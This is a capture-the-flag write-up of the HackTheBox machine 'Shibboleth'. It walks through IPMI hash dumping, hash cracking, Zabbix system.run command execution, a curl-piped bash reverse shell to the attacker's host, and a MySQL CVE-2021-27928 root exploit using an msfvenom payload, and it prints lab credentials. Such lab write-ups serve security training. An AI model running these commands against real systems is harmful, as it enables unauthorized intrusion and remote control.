Shibboleth - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Shibboleth is a medium difficulty Linux machine that leverages IPMI protocol vulnerabilities and Zabbix monitoring software misconfigurations. The initial compromise begins with exploiting IPMI’s password hash retrieval vulnerability, cracking the hash to gain Zabbix credentials. From there, we abuse Zabbix’s system.run agent functionality to execute arbitrary commands and establish a reverse shell. Lateral movement is achieved by reusing credentials to access the ipmi-svc user account. Finally, privilege escalation exploits a MySQL command execution vulnerability (CVE-2021-27928) to gain root access.

TL;DR: IPMI hash dumping → Hashcat crack → Zabbix RCE via system.run → Lateral move to ipmi-svc → MySQL CVE-2021-27928 → Root shell

Reconnaissance

Port Scanning

# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.129.118.50 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on discovered ports
nmap -p$ports -sV -sC 10.129.118.50

Results:

• Port 80 (HTTP) - Web server with virtual host redirection to shibboleth.htb
• Initial scan shows minimal information; virtual host enumeration required

Service Enumeration

HTTP Enumeration:

The machine redirects to shibboleth.htb. Add to /etc/hosts:

echo '10.129.118.50 shibboleth.htb' | sudo tee -a /etc/hosts

The website is largely static with a non-functional contact form (missing dependencies).

FFUF Directory Fuzzing:

ffuf -u http://shibboleth.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt

No interesting results from directory enumeration.

Virtual Host Fuzzing:

ffuf -u http://shibboleth.htb -H 'Host: FUZZ.shibboleth.htb' \
  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fw 18

Discovery: Three virtual hosts identified:

• monitor.shibboleth.htb
• monitoring.shibboleth.htb
• zabbix.shibboleth.htb

All redirect to Zabbix login page (open-source monitoring solution).

Add to /etc/hosts:

echo '10.129.118.50 monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb' | sudo tee -a /etc/hosts

UDP Port Scanning:

Default credentials and SQL injection attempts on Zabbix failed. Pivot to UDP scanning:

# UDP port scan
ports=$(sudo nmap --min-rate=5000 -sU 10.129.118.50 | grep open | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed UDP scan
sudo nmap -sV -sC -p$ports -sU 10.129.118.50

Vulnerability Assessment

Key Findings:

• Port 623 (asf-rmcp) open → IPMI protocol running
• IPMI vulnerable to unauthenticated hash dumping
• Zabbix agent misconfigured to allow system.run commands
• MySQL version 10.3.25 vulnerable to CVE-2021-27928

Initial Foothold

IPMI Password Hash Extraction

The IPMI protocol (port 623) is vulnerable to unauthenticated hash retrieval. Use Metasploit:

msfconsole
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS 10.129.118.50
run

Result: Administrator hash retrieved:

3c08a6bf020500008edc65459227db9e4de83261ee2eafe9429a07eb96d30b745fef6f821dd97d81a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:80026d133489237175ee975d5dff53f4c923b396

Hash Cracking

Save hash and crack using Hashcat:

echo -n '3c08a6bf020500008edc65459227db9e4de83261ee2eafe9429a07eb96d30b745fef6f821dd97d81a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:80026d133489237175ee975d5dff53f4c923b396' > hash

hashcat -m 7300 hash /usr/share/wordlists/rockyou.txt

Result: Password successfully cracked (Administrator:password)

Zabbix Authentication

Reuse the cracked IPMI credentials on Zabbix login. Navigation to User settings reveals Administrator privilege level.

Zabbix Remote Code Execution

Zabbix documentation reveals the system.run item allows command execution through the agent. Create a test item:

1. Navigate to Configuration > Hosts
2. Click on shibboleth.htb host
3. Click Items > Create Item
4. Enter in the Key field:

system.run[curl 10.10.14.13,nowait]

5. Click Test > Get value

Verify on listener:

# Listener side
nc -lvnp 80

Reverse Shell Establishment

Create reverse shell payload:

# Create shell script
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.13/1234 0>&1"' > index.html

# Start HTTP server for delivery
sudo python3 -m http.server 80

On listener machine:

nc -lvnp 1234

In Zabbix, update the Key field with:

system.run[curl 10.10.14.13|bash,nowait]

Click Test > Get value to trigger reverse shell.

Privilege Escalation

Lateral Movement to ipmi-svc

From the Zabbix shell, enumerate configuration files:

ls -la /etc/zabbix/
cat /etc/zabbix/zabbix_server.conf

Configuration files are readable only by ipmi-svc user and root. Reuse the Administrator password to switch users:

su - ipmi-svc
# Password: <cracked_password>
cat /home/ipmi-svc/user.txt

Result: User flag obtained.

MySQL Service Exploitation

Enumerate running services:

ps aux | grep mysql

MySQL is running locally. Extract credentials from Zabbix configuration:

cat /etc/zabbix/zabbix_server.conf | grep DBUser
cat /etc/zabbix/zabbix_server.conf | grep DBPassword

Credentials: zabbix / bloooarskybluh

Connect to MySQL:

mysql -u zabbix -p -h localhost
# Password: bloooarskybluh

CVE-2021-27928 Exploitation

Identify MySQL version from banner:

SELECT VERSION();

Version: 10.3.25 (vulnerable to CVE-2021-27928)

Generate malicious shared object:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=4444 -f elf-so -o CVE-2021-27928.so

Transfer to target machine (using any method available), place in /tmp/:

# From Zabbix shell
curl http://10.10.14.13:8000/CVE-2021-27928.so -o /tmp/CVE-2021-27928.so

Set up listener:

nc -lvnp 4444

Trigger the exploit in MySQL:

SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";

Result: Root shell obtained on listener.

Extract root flag:

cat /root/root.txt

Attack Chain Summary

UDP Port Discovery (623 IPMI)
    ↓
IPMI Hash Dumping
    ↓
Hashcat Hash Crack (Administrator:password)
    ↓
Zabbix Login with IPMI Credentials
    ↓
Zabbix system.run RCE Item Creation
    ↓
Reverse Shell via Curl + Bash
    ↓
Lateral Move to ipmi-svc (su with reused password)
    ↓
User Flag Captured
    ↓
MySQL Credential Extraction from Zabbix Config
    ↓
MySQL CVE-2021-27928 Exploitation
    ↓
Root Shell
    ↓
Root Flag Captured

Tools Used

Key Learnings

Techniques Practiced

• IPMI enumeration and unauthenticated hash retrieval
• Hash identification and cracking with Hashcat
• Zabbix agent configuration review and exploitation
• Remote code execution via monitoring agent items
• Lateral movement through credential reuse
• MySQL exploitation and version enumeration
• Custom payload generation for ELF shared objects
• Multi-stage attack chain execution

Lessons Learned

1. Default/Legacy Protocols: IPMI is often overlooked during enumeration but can expose critical credentials without authentication. Always scan UDP ports, especially when TCP enumeration yields limited results.

2. Credential Reuse: A single set of credentials can open multiple doors—IPMI passwords frequently work across other services. Systematic credential testing across discovered services yields quick lateral movement.

3. Agent Misconfiguration: Monitoring and management agents (Zabbix, Nagios, etc.) should restrict system.run or equivalent command execution features. This is a high-impact misconfiguration.

4. Configuration Files as Intelligence: Service configuration files (especially for databases) often contain plaintext credentials. Always audit these when accessible.

5. Outdated Vulnerable Software: MySQL 10.3.25 had a known wsrep provider exploitation path. Maintaining an inventory of CVEs per version is critical for assessment.

6. Privilege Levels Matter: Understanding application privilege levels (Zabbix Administrator role) helps identify what actions are permitted and what exploits are viable.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>